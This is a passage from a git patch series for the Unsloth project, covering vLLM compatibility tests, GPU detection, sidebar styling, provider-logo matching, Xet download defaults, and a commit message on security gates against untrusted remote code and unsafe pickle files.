         "create_lora_manager": ("func", None),
     }
-    # Old path: a single vllm/lora/models.py (or vllm/lora/models/__init__.py).
+    # Old path: single vllm/lora/models.py (or models/__init__.py).
     old_candidates = ["vllm/lora/models.py", "vllm/lora/models/__init__.py"]
     old_src = next(
         (s for s in (_fetch_text("vllm-project/vllm", tag, p) for p in old_candidates) if s),
@@ -213,17 +162,12 @@ def test_vllm_lora_models_either_path(tag: str):
         )
 
 
-# -------------------------------------------------------------------------
-# Optional / version-gated symbols. Don't fail if missing on minors
-# unsloth-zoo already gates against; assert presence on minors that
-# claim support.
-# -------------------------------------------------------------------------
+# Optional / version-gated symbols: assert presence only on minors claiming support.
 
 
 @pytest.mark.parametrize("tag", VLLM_TAGS)
 def test_vllm_worker_lora_manager_class(tag: str):
-    """vllm.lora.worker_manager.WorkerLoRAManager. unsloth-zoo subclasses
-    this; signature inspection drives old_init vs new_init choice."""
+    """vllm.lora.worker_manager.WorkerLoRAManager -- unsloth-zoo subclasses it; signature drives old_init vs new_init."""
     src = _fetch_text("vllm-project/vllm", tag, "vllm/lora/worker_manager.py")
     if src is None:
         # Some vLLM versions split this; check fallback locations.
@@ -241,14 +185,7 @@ def test_vllm_worker_lora_manager_class(tag: str):
 
 @pytest.mark.parametrize("tag", VLLM_TAGS)
 def test_lora_request_no_removed_kwargs(tag: str):
-    """vLLM removed `lora_local_path` -> `lora_path` -> `lora_dir`
-    progressively. unsloth-zoo's vllm_lora_request must not depend on
-    the older spelling (else GRPO + fast_inference breaks on the
-    rename release).
-
-    We assert the LoRARequest constructor accepts EITHER the new name
-    or both (forward-compat). Specifically: presence of `lora_dir` or
-    `lora_path` is sufficient; both is the transition state."""
+    """vLLM renamed lora_local_path -> lora_path -> lora_dir; assert LoRARequest still accepts lora_dir or lora_path."""
     src = _fetch_text("vllm-project/vllm", tag, "vllm/lora/request.py")
     assert src is not None
     has_dir = bool(re.search(r"\blora_dir\b", src))
@@ -256,19 +193,12 @@ def test_lora_request_no_removed_kwargs(tag: str):
     assert has_dir or has_path, f"{tag}: vllm.lora.request has neither lora_dir nor lora_path"
 
 
-# -------------------------------------------------------------------------
-# UNSLOTH_VLLM_STANDBY hard-error windows.
-# unsloth-zoo refuses to enable standby on:
-#   0.10.0 <= vllm < 0.11.0  (std::bad_alloc)
-#   0.14.0 <= vllm < 0.15.0  (cudaErrorIllegalAddress)
-# Make this enforcement testable so a future commit doesn't accidentally
-# remove the guard.
-# -------------------------------------------------------------------------
+# UNSLOTH_VLLM_STANDBY hard-error windows: unsloth-zoo refuses standby on
+#   0.10.0 <= vllm < 0.11.0 (std::bad_alloc) and 0.14.0 <= vllm < 0.15.0 (cudaErrorIllegalAddress).
 
 
 def _vllm_zoo_local_path() -> str | None:
-    """Return the on-runner path to unsloth_zoo.vllm_utils source if
-    importable. None otherwise."""
+    """Return the on-runner path to unsloth_zoo.vllm_utils source, or None."""
     try:
         import importlib.util
         spec = importlib.util.find_spec("unsloth_zoo.vllm_utils")
@@ -280,9 +210,7 @@ def _vllm_zoo_local_path() -> str | None:
 
 
 def test_unsloth_zoo_standby_guards_present():
-    """Sanity: the two hard-error windows exist somewhere in the
-    unsloth_zoo.vllm_utils source. Catches a future revert that drops
-    them."""
+    """Sanity: the two hard-error windows exist in unsloth_zoo.vllm_utils; catches a revert that drops them."""
     path = _vllm_zoo_local_path()
     if path is None:
         pytest.skip("unsloth_zoo not installed on runner")

From 5f822c2e9035faafe85a1f09a548b854896b496d Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 18 Jun 2026 02:35:13 -0700
Subject: [PATCH 60/91] Studio: harden GPU startup detection and clarify
 multi-GPU listing (#6427)

* Studio: harden GPU startup detection and clarify multi-GPU listing

* Log swallowed CUDA device property probe failures at debug level
---
 studio/backend/tests/test_utils.py        | 29 +++++++++++++++++++++++
 studio/backend/utils/hardware/hardware.py | 27 ++++++++++++++-------
 2 files changed, 47 insertions(+), 9 deletions(-)

diff --git a/studio/backend/tests/test_utils.py b/studio/backend/tests/test_utils.py
index b34618cd4d..cc7d04ca0a 100644
--- a/studio/backend/tests/test_utils.py
+++ b/studio/backend/tests/test_utils.py
@@ -88,6 +88,19 @@ class TestGetDevice:
         ):
             assert _reset_and_detect() == DeviceType.CUDA
 
+    @needs_torch
+    def test_detect_survives_device0_probe_failure(self, capsys):
+        # is_available() True but the device-0 name probe raises: startup must
+        # still resolve CUDA rather than crash.
+        with (
+            patch("utils.hardware.hardware._has_torch", return_value = True),
+            patch("torch.cuda.is_available", return_value = True),
+            patch("torch.cuda.device_count", return_value = 1),
+            patch("torch.cuda.get_device_properties", side_effect = RuntimeError("probe")),
+        ):
+            assert _reset_and_detect() == DeviceType.CUDA
+        assert "<unavailable>" in capsys.readouterr().out
+
     @needs_mlx
     def test_returns_mlx_when_on_apple_silicon_with_mlx(self):
         with (
@@ -383,6 +396,22 @@ class TestPrintCudaDeviceList:
             _hw_module._print_cuda_device_list(is_rocm = False)
         assert capsys.readouterr().out == ""
 
+    @needs_torch
+    def test_rocm_label_omits_cuda_device_order(self, capsys):
+        # CUDA_DEVICE_ORDER governs CUDA only, so the ROCm listing must not claim it.
+        props = [MagicMock(), MagicMock()]
+        props[0].name = "AMD Instinct MI300X"
+        props[1].name = "AMD Instinct MI300X"
+        with (
+            patch("torch.cuda.device_count", return_value = 2),
+            patch("torch.cuda.get_device_properties", side_effect = lambda i: props[i]),
+        ):
+            _hw_module._print_cuda_device_list(is_rocm = True)
+        out = capsys.readouterr().out
+        assert "ROCm devices (2):" in out
+        assert "CUDA_DEVICE_ORDER" not in out
+        assert "[0] AMD Instinct MI300X" in out
+
 
 # ========== format_error_message() ==========
 
diff --git a/studio/backend/utils/hardware/hardware.py b/studio/backend/utils/hardware/hardware.py
index db608c3f53..08a470f11f 100644
--- a/studio/backend/utils/hardware/hardware.py
+++ b/studio/backend/utils/hardware/hardware.py
@@ -107,12 +107,13 @@ def _has_mlx() -> bool:
 
 
 def _print_cuda_device_list(is_rocm: bool) -> None:
-    """Print every visible CUDA/ROCm GPU with its index.
+    """List every visible CUDA/ROCm GPU with its index at startup.
 
     The "Hardware detected" banner names only device 0, which hides the other
-    cards on a multi-GPU host and obscures which physical GPU each index maps to.
-    Listing all devices in the pinned PCI_BUS_ID order (see CUDA_DEVICE_ORDER at
-    module top) makes the available set explicit and matches `nvidia-smi -L`.
+    cards on a multi-GPU host. This lists the full visible set in CUDA-ordinal
+    order, matching `nvidia-smi -L` when no CUDA_VISIBLE_DEVICES mask is set
+    (under a mask the indices are visible ordinals, not physical PCI ids).
+    CUDA_DEVICE_ORDER governs only CUDA, so it is shown for CUDA but not ROCm.
     No-ops on single-GPU hosts and never raises -- it is purely informational.
     """
     try:
@@ -121,13 +122,17 @@ def _print_cuda_device_list(is_rocm: bool) -> None:
         count = torch.cuda.device_count()
         if count <= 1:
             return
-        label = "ROCm" if is_rocm else "CUDA"
-        order = os.environ.get("CUDA_DEVICE_ORDER", "default")
-        lines = [f"{label} devices ({count}, CUDA_DEVICE_ORDER={order}):"]
+        if is_rocm:
+            header = f"ROCm devices ({count}):"
+        else:
+            order = os.environ.get("CUDA_DEVICE_ORDER", "default")
+            header = f"CUDA devices ({count}, CUDA_DEVICE_ORDER={order}):"
+        lines = [header]
         for i in range(count):
             try:
                 name = torch.cuda.get_device_properties(i).name
-            except Exception:
+            except Exception as e:
+                logger.debug("CUDA device %d property probe failed: %s", i, e)
                 name = "<unavailable>"
             lines.append(f"  [{i}] {name}")
         print("\n".join(lines))
@@ -156,7 +161,11 @@ def detect_hardware() -> DeviceType:
         if torch.cuda.is_available():
             DEVICE = DeviceType.CUDA
             CHAT_ONLY = False
-            device_name = torch.cuda.get_device_properties(0).name
+            try:
+                device_name = torch.cuda.get_device_properties(0).name
+            except Exception as e:
+                logger.debug("CUDA device 0 property probe failed: %s", e)
+                device_name = "<unavailable>"
 
             # Distinguish ROCm from CUDA for display only (DeviceType stays CUDA).
             # AMD SDK wheels don't set torch.version.hip, so fall back to __version__.

From 718e97108d19b3295e94d3792449ad5c02dd7f95 Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Thu, 18 Jun 2026 04:02:36 -0700
Subject: [PATCH 61/91] Studio: make sidebar nav hover a fully rounded pill
 (#6435)

* Studio: make sidebar nav hover a fully rounded pill

The single-line sidebar rows used rounded-[14px], so the hover and active highlight was a soft rounded rectangle. Switch the main nav, the recents/projects rows, and the account row to rounded-full for a fully rounded pill. The multi-line training-history rows keep rounded-[14px], since a full pill on a two-line block rounds the corners too aggressively.

* Studio: drop now-redundant collapsed rounded-full on sidebar buttons

With the base class now rounded-full, the group-data-[collapsible=icon]:!rounded-full override resolves to the same radius, so remove it from the two nav buttons. The avatar keeps its modifier, since its base is not rounded-full.
---
 studio/frontend/src/components/app-sidebar.tsx | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/studio/frontend/src/components/app-sidebar.tsx b/studio/frontend/src/components/app-sidebar.tsx
index 8255d49de8..1f8424ee64 100644
--- a/studio/frontend/src/components/app-sidebar.tsx
+++ b/studio/frontend/src/components/app-sidebar.tsx
@@ -226,7 +226,7 @@ function NavItem({
           onClick={onClick}
           isActive={active}
           data-tour={dataTour}
-          className="sidebar-nav-btn h-[33px] rounded-[14px] gap-[8.5px] pl-3 pr-2.5 font-medium group-data-[collapsible=icon]:px-2.5 group-data-[collapsible=icon]:!w-[32px] group-data-[collapsible=icon]:!rounded-full group-data-[collapsible=icon]:mx-auto"
+          className="sidebar-nav-btn h-[33px] rounded-full gap-[8.5px] pl-3 pr-2.5 font-medium group-data-[collapsible=icon]:px-2.5 group-data-[collapsible=icon]:!w-[32px] group-data-[collapsible=icon]:mx-auto"
         >
           <HugeiconsIcon icon={icon} strokeWidth={1.75} className="size-icon! shrink-0 group-hover/menu-button:animate-icon-pop" />
           <span className="text-[14.5px] leading-[19px] tracking-nav">{label}</span>
@@ -672,7 +672,7 @@ export function AppSidebar() {
         ? "sidebar-row-action group-hover/project-chat-item:opacity-100 group-hover/project-chat-item:pointer-events-auto focus-visible:opacity-100 focus-visible:pointer-events-auto"
         : "sidebar-row-action group-hover/recent-item:opacity-100 group-hover/recent-item:pointer-events-auto focus-visible:opacity-100 focus-visible:pointer-events-auto";
     const buttonClass = cn(
-      "sidebar-nav-btn h-[33px] cursor-pointer rounded-[14px] pr-4 text-[14.5px] leading-[19px] tracking-nav font-medium",
+      "sidebar-nav-btn h-[33px] cursor-pointer rounded-full pr-4 text-[14.5px] leading-[19px] tracking-nav font-medium",
       // pl-3 (12px) over the content's pl-1.5 (6px) = 18px, aligning the
       // title with the nav items above.
       variant === "project" ? "pl-[39px]" : "pl-3",
@@ -1286,7 +1286,7 @@ export function AppSidebar() {
                 <SidebarMenuButton
                   size="lg"
                   aria-label={t("shell.accountMenu", { name: displayTitle })}
-                  className="sidebar-nav-btn !h-[44px] -my-[3px] gap-[9px] px-2 py-[3px] rounded-[14px] group-data-[collapsible=icon]:!size-[34px] group-data-[collapsible=icon]:!rounded-full group-data-[collapsible=icon]:!p-0 group-data-[collapsible=icon]:mx-auto group-data-[collapsible=icon]:justify-center"
+                  className="sidebar-nav-btn !h-[44px] -my-[3px] gap-[9px] px-2 py-[3px] rounded-full group-data-[collapsible=icon]:!size-[34px] group-data-[collapsible=icon]:!p-0 group-data-[collapsible=icon]:mx-auto group-data-[collapsible=icon]:justify-center"
                 >
                   <div className="flex shrink-0 items-center">
                     <UserAvatar

From 17000516f66ad45cd68e648615ef3d30e5214f02 Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Thu, 18 Jun 2026 04:38:56 -0700
Subject: [PATCH 62/91] Studio Hub: show Google logo for diffusiongemma and
 future gemma derivatives (#6432)

* Studio Hub: show Google logo for diffusiongemma and future gemma derivatives

The provider-logo matcher only did a startsWith() prefix match, so qualifier-prefixed family names like diffusiongemma-* never matched Google's gemma- prefixes and fell back to the owner-initial (Unsloth U) tile.

Add an optional per-provider stems list: a case-insensitive substring fallback that runs only after every prefix misses, so prefix precedence (e.g. DeepSeek-R1-Distill- over Qwen) is preserved. Google gets stems: [gemma], which future-proofs the whole *gemma family (paligemma, codegemma, diffusiongemma, etc.) without enumerating each one.

* Studio Hub: match gemma stem only at a word boundary

Address review: a plain substring stem could over-match contrived names like gemmafy or gemman. Require the stem to end at a word boundary (next char not a letter), so gemma still catches diffusiongemma- and gemma-3n but never gemmafy. Splitting on delimiters would not work here, since the qualifier and family share one token (diffusiongemma).

* Trim comments for PR #6432

---------

Co-authored-by: Daniel Han <danielhanchen@gmail.com>
---
 .../src/features/hub/lib/provider-logos.ts    | 25 +++++++++++++++++--
 1 file changed, 23 insertions(+), 2 deletions(-)

diff --git a/studio/frontend/src/features/hub/lib/provider-logos.ts b/studio/frontend/src/features/hub/lib/provider-logos.ts
index 9d1a94206b..248127429b 100644
--- a/studio/frontend/src/features/hub/lib/provider-logos.ts
+++ b/studio/frontend/src/features/hub/lib/provider-logos.ts
@@ -46,6 +46,11 @@ export interface ProviderLogo {
 	 * on the family stem so future minor versions are picked up automatically.
 	 */
 	prefixes: readonly string[];
+	/**
+	 * Case-insensitive fallback after all prefixes miss; matched at a word boundary
+	 * (`gemma` -> `diffusiongemma-`, `gemma-3n`, not `gemmafy`). Use stems unique to one provider.
+	 */
+	stems?: readonly string[];
 }
 
 export const PROVIDER_LOGOS: readonly ProviderLogo[] = [
@@ -217,6 +222,7 @@ export const PROVIDER_LOGOS: readonly ProviderLogo[] = [
 			"metricx-",
 			"bert-",
 		],
+		stems: ["gemma"],
 	},
 
 	// After NVIDIA so `Mistral-NeMo-` wins; generic Mistral-/Mixtral- fall through here.
@@ -248,9 +254,18 @@ export const PROVIDER_LOGOS: readonly ProviderLogo[] = [
 	},
 ];
 
+function stemMatchesAtBoundary(haystack: string, stem: string): boolean {
+	for (let at = haystack.indexOf(stem); at !== -1; at = haystack.indexOf(stem, at + 1)) {
+		const next = haystack[at + stem.length];
+		if (next === undefined || next < "a" || next > "z") return true;
+	}
+	return false;
+}
+
 /**
- * Resolve a repo name (after `owner/`) to its upstream provider, or null.
- * Iterates PROVIDER_LOGOS in declaration order; first prefix match wins.
+ * Resolve a repo name (after `owner/`) to its provider, or null. Pass 1: prefix
+ * match in declaration order (first wins). Pass 2: case-insensitive `stems`
+ * boundary fallback; prefixes always win.
  */
 export function matchProviderLogo(repoName: string): ProviderLogo | null {
 	if (!repoName) return null;
@@ -259,6 +274,12 @@ export function matchProviderLogo(repoName: string): ProviderLogo | null {
 			return provider;
 		}
 	}
+	const lower = repoName.toLowerCase();
+	for (const provider of PROVIDER_LOGOS) {
+		if (provider.stems?.some((stem) => stemMatchesAtBoundary(lower, stem))) {
+			return provider;
+		}
+	}
 	return null;
 }
 

From 93572648b6da267543145ec78604ef775bbdac4a Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Thu, 18 Jun 2026 04:39:07 -0700
Subject: [PATCH 63/91] Studio Hub: default downloads to Xet transport (#6433)

* Studio Hub: default downloads to Xet transport

Model and dataset downloads defaulted to HTTP; flip the default to Xet for faster parallel chunked transfers.

- Frontend: DEFAULT_TRANSPORT_MODE is now Xet, so a user with no saved preference starts on Xet. effectiveTransportMode() already downgrades to HTTP and warns when hf_xet is unavailable, so this degrades gracefully.
- Backend: DownloadModelRequest.use_xet and DownloadDatasetRequest.use_xet default to True, keeping the API in step with the UI. Set use_xet=False for sequential HTTP Range-resume.
- Align the internal _spawn_download_worker default so no caller silently falls back to HTTP.

Inference and training model loads were already Xet-first with an HTTP stall fallback, so this brings explicit downloads in line with the rest of Studio.

* Studio Hub: gracefully fall back to HTTP when Xet is unavailable

With Xet now the default, an omitted or explicit use_xet=True from a non-UI API caller would 400 on installs without hf_xet, since resolve_transport raises when the transport is unavailable.

Add resolve_effective_use_xet(), which downgrades a Xet request to HTTP (with a warning) when hf_xet is missing, mirroring the frontend's own downgrade. Both the model and dataset flows now derive a single effective use_xet and feed it to resolve_transport and spawn_worker, so the recorded transport and the worker env can never disagree. The UI is unaffected: it already resolves availability and passes use_xet explicitly.

* Add tests for resolve_effective_use_xet Xet to HTTP fallback

* Trim comments for PR #6433

---------

Co-authored-by: Daniel Han <danielhanchen@gmail.com>
---
 studio/backend/hub/schemas/downloads.py       |  8 +++---
 .../hub/services/datasets/downloads.py        |  5 ++--
 .../hub/services/download_lifecycle.py        | 17 ++++++++++++
 .../backend/hub/services/models/downloads.py  |  7 ++---
 .../hub/tests/test_download_lifecycle.py      | 27 +++++++++++++++++++
 .../hub/download-manager/constants.ts         |  3 ++-
 6 files changed, 57 insertions(+), 10 deletions(-)
 create mode 100644 studio/backend/hub/tests/test_download_lifecycle.py

diff --git a/studio/backend/hub/schemas/downloads.py b/studio/backend/hub/schemas/downloads.py
index dccd0c6733..0a66b33048 100644
--- a/studio/backend/hub/schemas/downloads.py
+++ b/studio/backend/hub/schemas/downloads.py
@@ -25,8 +25,8 @@ class DownloadModelRequest(BaseModel):
         description = "Quantization label (e.g. 'Q4_K_M'). Required for GGUF repos.",
     )
     use_xet: bool = Field(
-        False,
-        description = "Enable Xet parallel chunked transport. Default False uses HTTP Range-resume.",
+        True,
+        description = "Use Xet parallel chunked transport. Default True; set False for HTTP Range-resume.",
     )
 
 
@@ -125,8 +125,8 @@ class DownloadDatasetRequest(BaseModel):
 
     repo_id: str = Field(..., description = "HuggingFace dataset repo ID")
     use_xet: bool = Field(
-        False,
-        description = "Enable Xet parallel chunked transport. Default False uses HTTP Range-resume.",
+        True,
+        description = "Use Xet parallel chunked transport. Default True; set False for HTTP Range-resume.",
     )
 
 
diff --git a/studio/backend/hub/services/datasets/downloads.py b/studio/backend/hub/services/datasets/downloads.py
index ac90be8c6f..5efac562fa 100644
--- a/studio/backend/hub/services/datasets/downloads.py
+++ b/studio/backend/hub/services/datasets/downloads.py
@@ -157,7 +157,8 @@ async def download_dataset_response(
     repo_id = await asyncio.to_thread(resolve_cached_repo_id_case, repo_id, repo_type = "dataset")
     key = _download_job_key(repo_id)
 
-    transport = download_lifecycle.resolve_transport(body.use_xet)
+    use_xet = download_lifecycle.resolve_effective_use_xet(body.use_xet)
+    transport = download_lifecycle.resolve_transport(use_xet)
 
     claimed, claim_state = _registry.claim(
         key,
@@ -183,7 +184,7 @@ async def download_dataset_response(
         spawn = lambda: download_lifecycle.spawn_worker(
             ["--repo-id", repo_id, "--dataset"],
             hf_token,
-            use_xet = body.use_xet,
+            use_xet = use_xet,
         ),
         hf_token = hf_token,
         label = repo_id,
diff --git a/studio/backend/hub/services/download_lifecycle.py b/studio/backend/hub/services/download_lifecycle.py
index 8256b00252..c2b99c0f18 100644
--- a/studio/backend/hub/services/download_lifecycle.py
+++ b/studio/backend/hub/services/download_lifecycle.py
@@ -3,6 +3,7 @@
 
 from __future__ import annotations
 
+import logging
 import os
 import signal
 import subprocess
@@ -20,11 +21,27 @@ from hub.utils import inventory_scan as hf_cache_scan
 from hub.utils.hf_cache_state import EXIT_CANCELLED
 from hub.utils.state_dir import RepoType
 
+logger = logging.getLogger(__name__)
+
 
 def backend_dir() -> Path:
     return Path(__file__).resolve().parent.parent.parent
 
 
+def resolve_effective_use_xet(use_xet: bool) -> bool:
+    """Downgrade an Xet request to HTTP when hf_xet is unavailable, so a defaulted
+    or explicit Xet request never hard-fails on installs without the Xet extra."""
+    if not use_xet:
+        return False
+    reason = download_registry.download_transport_unavailable_reason(
+        download_registry.TRANSPORT_XET
+    )
+    if reason is None:
+        return True
+    logger.warning("Xet transport unavailable, falling back to HTTP: %s", reason)
+    return False
+
+
 def resolve_transport(use_xet: bool) -> str:
     transport = download_registry.TRANSPORT_XET if use_xet else download_registry.TRANSPORT_HTTP
     unavailable_reason = download_registry.download_transport_unavailable_reason(transport)
diff --git a/studio/backend/hub/services/models/downloads.py b/studio/backend/hub/services/models/downloads.py
index db95b82c95..c2ffe7bffc 100644
--- a/studio/backend/hub/services/models/downloads.py
+++ b/studio/backend/hub/services/models/downloads.py
@@ -64,7 +64,7 @@ def _spawn_download_worker(
     repo_id: str,
     variant: Optional[str],
     hf_token: Optional[str],
-    use_xet: bool = False,
+    use_xet: bool = True,
     protected_blob_hashes: Optional[frozenset[str]] = None,
 ) -> subprocess.Popen:
     args = ["--repo-id", repo_id]
@@ -96,7 +96,8 @@ async def download_model_response(body: DownloadModelRequest, hf_token: Optional
             detail = f"Invalid gguf_variant: {variant!r}",
         )
     key = _download_job_key(repo_id, variant)
-    transport = download_lifecycle.resolve_transport(body.use_xet)
+    use_xet = download_lifecycle.resolve_effective_use_xet(body.use_xet)
+    transport = download_lifecycle.resolve_transport(use_xet)
     variant_blob_hashes = frozenset()
     variant_progress_blob_hashes = frozenset()
     completed_baseline_bytes = 0
@@ -171,7 +172,7 @@ async def download_model_response(body: DownloadModelRequest, hf_token: Optional
             repo_id,
             variant,
             hf_token,
-            use_xet = body.use_xet,
+            use_xet = use_xet,
             protected_blob_hashes = protected_blob_hashes,
         ),
         hf_token = hf_token,
diff --git a/studio/backend/hub/tests/test_download_lifecycle.py b/studio/backend/hub/tests/test_download_lifecycle.py
new file mode 100644
index 0000000000..a4baafa317
--- /dev/null
+++ b/studio/backend/hub/tests/test_download_lifecycle.py
@@ -0,0 +1,27 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+from hub.services import download_lifecycle
+
+
+def _set_xet_reason(monkeypatch, reason):
+    monkeypatch.setattr(
+        download_lifecycle.download_registry,
+        "download_transport_unavailable_reason",
+        lambda _transport: reason,
+    )
+
+
+def test_resolve_effective_use_xet_keeps_http_when_not_requested(monkeypatch):
+    _set_xet_reason(monkeypatch, "should not be consulted")
+    assert download_lifecycle.resolve_effective_use_xet(False) is False
+
+
+def test_resolve_effective_use_xet_keeps_xet_when_available(monkeypatch):
+    _set_xet_reason(monkeypatch, None)
+    assert download_lifecycle.resolve_effective_use_xet(True) is True
+
+
+def test_resolve_effective_use_xet_downgrades_when_xet_unavailable(monkeypatch):
+    _set_xet_reason(monkeypatch, "Xet transport is unavailable because hf_xet is not installed.")
+    assert download_lifecycle.resolve_effective_use_xet(True) is False
diff --git a/studio/frontend/src/features/hub/download-manager/constants.ts b/studio/frontend/src/features/hub/download-manager/constants.ts
index 3f772cb196..784173a4bf 100644
--- a/studio/frontend/src/features/hub/download-manager/constants.ts
+++ b/studio/frontend/src/features/hub/download-manager/constants.ts
@@ -8,7 +8,8 @@ export const TRANSPORT = {
 
 export const TRANSPORT_MODES = [TRANSPORT.HTTP, TRANSPORT.XET] as const;
 export type TransportMode = (typeof TRANSPORT_MODES)[number];
-export const DEFAULT_TRANSPORT_MODE: TransportMode = TRANSPORT.HTTP;
+// Xet by default; effectiveTransportMode() downgrades to HTTP if hf_xet is missing.
+export const DEFAULT_TRANSPORT_MODE: TransportMode = TRANSPORT.XET;
 
 export function isTransportMode(value: unknown): value is TransportMode {
   return (

From 0533efe3f859ab9388d52723763e9dd2f09bed1e Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 18 Jun 2026 05:39:52 -0700
Subject: [PATCH 64/91] Harden model fetching (#6391)

* Harden model fetching: consent gate for trust_remote_code

Add a load-path consent gate that scans a model's auto_map repository code
before it executes and blocks CRITICAL/HIGH findings unless the user pins
approval of that exact code version. Capability detection stays code-free,
reading raw config.json instead of AutoConfig.

- Scan config.json and tokenizer_config.json auto_map, nested local helpers,
  and external owner/name--module repos; fail closed on partial downloads.
- Gate inference, training, and export workers, including the MLX path and a
  LoRA's base model, and report requires_trust_remote_code from the raw config
  so chat and auto-load surface the dialog.
- Verify trusted-org auto-enable against the Hub with the request token and key
  the verdict cache by token; reject local-path and spoofed names.
- Add a consent dialog showing the flagged file, line, and surrounding code.
- Thread hf_token through the scan and load paths for gated repos.

* Address review: token handling, tokenizer/LoRA scan coverage, rollback

- Send the HF token for remote-code scans in the POST body, not the URL, so it
  never lands in a log or browser history.
- Collect tokenizer_config.json auto_map files directly instead of relying only
  on the repo file listing.
- Resolve a LoRA's base model for the validate flag and the scan endpoint so the
  dialog scans the code the workers actually gate.
- Pass the request token to the training YAML trusted-org auto-enable.
- Resend a previously approved fingerprint when rolling back to a custom-code
  model after a failed switch.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Consent UX: drop legacy chat toggle, fix decline copy, purge declined downloads

The per-model consent dialog is now the single approval path for custom
(auto_map) code in chat, so three leftovers from before it existed are removed:

- Remove the "Enable custom code" switch from Chat Settings and stop persisting
  trust_remote_code, so a previously saved blanket-on cannot linger and load a
  model without going through per-version review. The flag stays as an internal
  YAML/preset default (e.g. first-party auto-enable); the load path still gates
  every custom-code load on a fingerprint only the dialog produces.
- Reword the decline message and the auto-load toast to describe approving the
  model's code from the dialog, not a missing settings toggle.
- On decline, purge the repo the scan downloaded so untrusted code is not left
  on disk. A new /api/models/discard-remote-code endpoint deletes only a
  metadata-only cache entry the scan created; it refuses local paths, loaded
  models, and any repo with weight files cached, so a model the user already had
  or pre-downloaded is always left untouched. The frontend only calls it when
  the scan reported created_by_scan.

Adds discard-endpoint tests (delete metadata-only, refuse on weights/gguf,
refuse local, no-op when not cached) and a created_by_scan payload assertion.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Export: remove the user-facing trust remote code toggle

The Export page kept a "Trust remote code" switch (default on) next to the HF
token field. Like chat, custom (auto_map) code should be approved per model
through the load-time review dialog, not a persistent blanket switch, so the
toggle is removed. The export load path already routes through the same consent
dialog: an HF source now starts with trust_remote_code off and only enables it
when the user approves the scanned code in the dialog (a local checkpoint the
user exported stays trusted by default). With the dialog unreachable and no
approval, an HF source loads with trust_remote_code off, which fails closed
rather than running unreviewed code.

* Block loads of repos with unsafe files using Hugging Face's security scan

The trust_remote_code consent gate covers one load-time RCE vector (a repo's
auto_map Python). It does not cover the other: a malicious pickle inside a weight
file (pytorch_model.bin, *.pkl, *.dat) deserializes during from_pretrained even
with trust_remote_code False, so a repo with a normal config plus a poisoned
pickle slips past the existing gate.

Add a metadata-only malware gate that uses Hugging Face's own scan (picklescan +
ClamAV), read via model_info(securityStatus=True).security_repo_status. It never
downloads, opens, or unpickles the flagged files; it only reads the Hub's verdict
and surfaces the flagged file names. New evaluate_file_security runs
unconditionally (independent of trust_remote_code) in every load path (inference,
training SFT/MLX, export), blocking the load when a file is flagged
unsafe/suspicious/malicious. The /remote-code-scan preflight and the validate
endpoint also report the result so the consent dialog opens as a hard block (no
override) listing the flagged files, even for a repo with no custom code.

Policy: hard block with no user override; fail open when the scan is unavailable
(offline/unscanned) so legitimate loads are not broken; no first-party exemption
(a poisoned pickle in a compromised trusted repo still blocks); local paths and
GGUF are skipped (no Hub scan, non-pickle format). Blocking does not gate on
scansDone, since that is often false for clean repos and a file already flagged
unsafe is unsafe regardless.

Adds test_file_security.py covering the block/allow/fail-open/skip matrix.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: scan list-form tokenizer auto_map, gate unsafe files on all load paths

Fixes from a 10-reviewer pass on the model-fetching hardening:

- The remote-code scanner skipped tokenizer auto_map encoded as a [slow, fast]
  list (transformers' standard tokenizer shape, e.g.
  {"AutoTokenizer": ["owner/repo--tokenization_x.Slow", null]}). External
  tokenizer code in that form was never fetched, scanned, or fingerprinted, so an
  AutoTokenizer(trust_remote_code=True) load could run it. _auto_map_refs now
  flattens string, list, and nested values. Adds a regression test.

- Compare-mode chat loads and background auto-load only gated on
  requires_trust_remote_code, so a repo flagged unsafe by the Hub scan but with no
  custom code skipped the hard-block dialog. Both now also gate on
  requires_security_review, matching the main chat path.

- The /remote-code-scan and /validate routes collapsed a LoRA adapter to its base
  before the malware scan, so unsafe files in the adapter repo itself were missed
  in the pre-load review (the workers already scan both). Both routes now run the
  file-security scan over the adapter and the base.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Require approval for all HIGH remote code, fail closed when unscannable

Tighten the load-time security gates based on review:

Consent gate
- HIGH-severity auto_map code now requires explicit, per-version approval for
  every repo, including first-party unsloth/nvidia. The org is no longer a
  blanket bypass: a compromised first-party repo with HIGH code still warrants
  review. CRITICAL stays a hard block; clean code still loads after the consent
  prompt.
- Fail closed when auto_map code is present but cannot be fully fetched or
  listed to scan (gated, offline, transient, or a repo-listing failure that
  could hide an imported helper). We cannot fingerprint code we cannot see, so
  this is a non-approvable block, retryable once the repo is reachable.
- Scan auto_map from every config that can carry one (model, tokenizer, image
  and feature processor, processor, video processor), not just config.json and
  tokenizer_config.json, so a custom-processor model is not missed. The file
  list is the single source of truth in remote_code_scan and is pinned to the
  transformers filename constants by a guard test.
- Distinguish a genuine 404 (config truly absent) from a transient error: only
  the latter forces a scan, so a repo with no config is correctly a no-op.

Malware gate
- Scan a remote repo even when its name ends in .gguf; only local paths skip the
  Hub scan, so a repo cannot dodge the scan by naming itself "*.gguf".
- Correct the docstring: a file already flagged unsafe blocks regardless of
  scansDone; the only fail-open path is an unavailable scan.

Coverage
- Resolve a remote LoRA adapter's base model (not just local directories) so the
  base, where the code and weights actually execute, is scanned in validate,
  the scan route, and the training and export workers.
- Gate the embedding training path (FastSentenceTransformer) with the malware
  and consent checks, matching the other load paths.

Tests updated and added for each change.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

